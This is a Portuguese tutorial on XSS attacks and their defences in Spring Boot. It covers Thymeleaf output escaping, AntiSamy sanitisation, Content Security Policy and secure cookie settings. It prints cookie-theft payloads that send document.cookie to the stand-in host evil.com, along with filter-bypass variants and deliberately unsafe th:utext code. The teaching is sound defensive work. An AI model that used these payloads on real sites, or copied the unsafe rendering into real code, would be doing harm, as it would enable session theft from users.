XSS: Ataques e como bloquear em aplicações Spring Boot

1. Visão geral

XSS (Cross-Site Scripting) é uma das vulnerabilidades web mais comuns, figurando no OWASP Top 10 há muitos anos. Este artigo te ajuda a entender os três tipos de XSS mais comuns, ver exemplos de ataques reais e depois aplicar técnicas de proteção como output encoding, Content Security Policy (CSP) e configuração de HTTP headers no Spring Boot. Após ler, você saberá como revisar e corrigir vulnerabilidades de XSS em suas aplicações.

2. O que é XSS?

XSS ocorre quando uma aplicação web permite que um atacante injete código JavaScript malicioso na página, e o navegador da vítima executa esse código como se fosse uma parte legítima da página web. As consequências: roubar cookies/sessões, falsificar ações do usuário, redirecionar para páginas de phishing.

Existem 3 tipos principais de XSS:

  • Reflected XSS: o payload está na requisição (query string, form), o servidor responde imediatamente sem filtrar.
  • Stored XSS: o payload é armazenado no banco de dados (por exemplo, comentários, bio) e depois exibido para todos verem — mais perigoso porque afeta múltiplos usuários.
  • DOM-based XSS: o payload não passa pelo servidor, mas o JavaScript do cliente lê dados inseguros (URL, localStorage) e escreve diretamente no DOM.

3. Exemplo de ataque Reflected XSS

Suponha que você tenha um endpoint de busca simples que exibe a palavra-chave digitada pelo usuário:

@Controller
public class SearchController {

    @GetMapping("/search")
    public String search(@RequestParam String keyword, Model model) {
        model.addAttribute("keyword", keyword);
        return "search-result";
    }
}

O template Thymeleaf usa th:utext (texto não escapado) para exibir:

<p>Resultados da busca para: <span th:utext="${keyword}"></span></p>

O atacante envia este link para a vítima:

https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Quando a vítima clica, o navegador executa o script e envia o cookie da vítima para evil.com. A causa raiz: th:utext renderiza HTML bruto sem codificar caracteres especiais.

Nota: Use th:utext apenas quando você tem 100% de certeza de que o conteúdo é HTML confiável (por exemplo, criado por um admin através de um editor de rich-text com sanitização). Por padrão, sempre use th:text.

4. Exemplo de ataque Stored XSS

Stored XSS é mais perigoso porque o payload persiste no sistema por longo tempo. Exemplo com a funcionalidade de comentários:

@Entity
public class Comment {
    @Id @GeneratedValue
    private Long id;
    private String content;
    private String authorName;
    // getters, setters
}

@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
    Comment comment = new Comment();
    comment.setContent(content);
    comment.setAuthorName(authorName);
    commentRepository.save(comment);
    return "redirect:/comments";
}

O atacante envia um comentário com o conteúdo:

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

Se a página que exibe comentários renderiza HTML diretamente sem codificação, todos que visualizam a página de comentários têm seus cookies roubados — sem precisar clicar em nenhum link.

5. Defesa com Output Encoding

Princípio de ouro: encode dados conforme o contexto quando fazendo output, não na entrada. No contexto HTML, Thymeleaf já faz escape por padrão quando você usa th:text:

<!-- Seguro: escape automático -->
<p th:text="${comment.content}"></p>

Comparação de resultado:

Input:  <script>alert('XSS')</script>
Output (th:text): &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
Output (th:utext): <script>alert('XSS')</script>  <!-- PERIGOSO -->

Com th:text, o navegador exibe a string de caracteres literalmente, sem executar o script. Esta é a primeira camada de defesa e a mais importante.

5.1. Encode para diferentes contextos

Nem todo local de output usa HTML encoding. Por exemplo, ao inserir valores em atributos JavaScript ou URLs, você precisa de encoding diferente:

<!-- Context: HTML attribute -->
<a th:href="@{/profile(id=${user.id})}">Ver perfil</a>

<!-- Context: JavaScript string - NÃO faça assim -->
<script>
    var username = '[[${user.name}]]'; // perigoso se name contém '); alert(1); //
</script>

Se você for forçado a passar dados do servidor para script, use encoding JSON e coloque em um atributo data-*:

<div id="user-data" th:data-name="${user.name}"></div>
<script>
    const name = document.getElementById('user-data').dataset.name;
</script>

Desta forma você evita concatenação direta de strings em literais JavaScript — origem de muitas vulnerabilidades DOM-based XSS.

6. Sanitizando HTML para rich text

Existem casos legítimos onde você precisa armazenar HTML, por exemplo, posts de blog com negrito, itálico e links. Neste caso você não pode fazer escape de tudo, mas precisa fazer whitelist de tags/atributos seguros usando uma biblioteca de sanitização.

<dependency>
    <groupId>org.owasp.antisamy</groupId>
    <artifactId>antisamy</artifactId>
    <version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {

    private final Policy policy;

    public HtmlSanitizerService() throws PolicyException {
        this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
    }

    public String sanitize(String rawHtml) throws ScanException, PolicyException {
        AntiSamy antiSamy = new AntiSamy();
        CleanResults results = antiSamy.scan(rawHtml, policy);
        return results.getCleanHTML();
    }
}

O arquivo antisamy-policy.xml define whitelist de tags (<b>, <i>, <a> com href permitindo apenas http/https…). Qualquer tag/atributo não na whitelist (como <script>, onerror) é removido completamente antes de salvar no banco de dados.

Teste rápido do comportamento de sanitização:

@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
    HtmlSanitizerService sanitizer = new HtmlSanitizerService();

    String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
    String clean = sanitizer.sanitize(dirty);

    assertThat(clean)
        .contains("<p>Hello <b>world</b></p>")
        .doesNotContain("<script>");
}

Nota: A sanitização deve ser feita tanto na entrada (antes de salvar no banco de dados, evitando que o payload vaze por outra API) e na saída (antes de renderizar) para defesa em profundidade.

7. Content Security Policy (CSP)

CSP é a segunda camada de defesa, limitando o navegador a executar scripts apenas de fontes confiáveis, mesmo se o payload de XSS passar da codificação/sanitização.

@Configuration
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives(
                    "default-src 'self'; " +
                    "script-src 'self'; " +
                    "style-src 'self' 'unsafe-inline'; " +
                    "object-src 'none'; " +
                    "base-uri 'self';"
                )
            )
        );
        return http.build();
    }
}

Explicação das diretivas:

  • default-src 'self': por padrão, apenas carrega recursos do mesmo origin.
  • script-src 'self': executa scripts apenas do seu domínio — bloqueia completamente scripts inline (o navegador rejeita <script>alert(1)</script>, não importa se é válido ou não).
  • object-src 'none': bloqueia Flash/plugins, vetores de ataque antigos mas ainda relevantes.

Header de resposta correspondente:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';

Quando um atacante consegue injetar <img src=x onerror="..."> passando pela sanitização, CSP com script-src 'self' vai bloquear event handlers inline (onerror) de serem executados, porque isso é considerado um script inline.

7.1. Testando CSP sem quebrar a interface

Antes de habilitar CSP strict em produção, use o modo report-only para monitorar violações sem bloquear:

headers.contentSecurityPolicy(csp -> csp
    .policyDirectives("default-src 'self'; script-src 'self'")
    .reportOnly()
);

O navegador apenas registra avisos no console (e envia relatórios se houver report-uri) sem bloquear recursos. Com base nesses logs você pode refinar a política antes de aplicar de verdade.

8. Securizando cookies com HttpOnly e SameSite

Mesmo se bloquear XSS, você deve ter uma camada de proteção adicional: impedir que scripts leiam cookies de sessão, minimizando danos se XSS ainda ocorrer.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
  • http-only=true: JavaScript (document.cookie) não consegue ler este cookie — o payload de roubo de cookie no exemplo 3 falhará.
  • secure=true: cookie é enviado apenas via HTTPS.
  • same-site=strict: cookie não é enviado com requisições de outros domínios, reduzindo risco de CSRF combinado com XSS.

9. Testes automatizados para detecção básica de XSS

Você pode escrever testes de integração verificando se o endpoint faz escape da saída corretamente, evitando regressões quando o código muda.

@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {

    @Autowired
    private TestRestTemplate restTemplate;

    @Test
    void search_shouldEscapeScriptTag_inResponseBody() {
        String payload = "<script>alert(1)</script>";

        ResponseEntity<String> response = restTemplate.getForEntity(
            "/search?keyword=" + payload, String.class);

        assertThat(response.getBody())
            .doesNotContain("<script>alert(1)</script>")
            .contains("&lt;script&gt;");
    }
}

Este teste envia um payload de XSS clássico e afirma que o corpo da resposta não contém a tag script original — se contiver significa que o template está usando th:utext em lugar errado.

10. Checklist de erros comuns

  • Usar th:utext, innerHTML ou v-html (Vue) para dados do usuário sem sanitizar.
  • Concatenar dados do usuário diretamente em blocos <script> em vez de usar atributos data-* ou JSON seguro.
  • Fazer escape apenas na entrada (salvando no banco de dados) e esquecer na saída — se mudar de contexto de exibição (como exportar CSV, renderizar PDF), dados “limpos” do banco de dados ainda podem ser perigosos no novo contexto.
  • Habilitar CSP muito permissivo (script-src * ou com unsafe-inline) tornando CSP ineficaz contra XSS.
  • Esquecer HttpOnly no cookie de sessão — um atacante de XSS ainda conseguirá roubar o cookie mesmo que você tenha feito escape de output em outro lugar.
  • Confiar apenas em validação do lado do cliente (JavaScript) sem validar/fazer escape novamente no servidor — o lado do cliente é facilmente contornado.

Nota: Não escreva seu próprio regex para “filtrar” tags HTML (por exemplo, remover <script> com regex). O atacante sempre encontra uma forma de contornar (<ScRiPt>, <svg/onload=...>, codificação Unicode…). Use uma biblioteca de sanitização já verificada como AntiSamy ou OWASP Java HTML Sanitizer.

11. Conclusão

XSS não é uma vulnerabilidade difícil de entender, mas é fácil de esquecer porque se esconde em cada ponto onde dados do usuário são exibidos. Defesa eficaz requer múltiplas camadas: faça escape correto conforme o contexto ao renderizar (prefira th:text em vez de th:utext), sanitize com whitelist quando precisar permitir rich HTML, habilite CSP para bloquear scripts desconhecidos mesmo que o payload passe, e defina HttpOnly/Secure/SameSite nos cookies para minimizar danos se XSS ainda ocorrer. Escreva testes automatizados verificando escape em todos os endpoints que recebem entrada do usuário — esta é a forma mais barata de evitar que este erro apareça novamente quando o código muda.

web-securityxssspring-bootowasp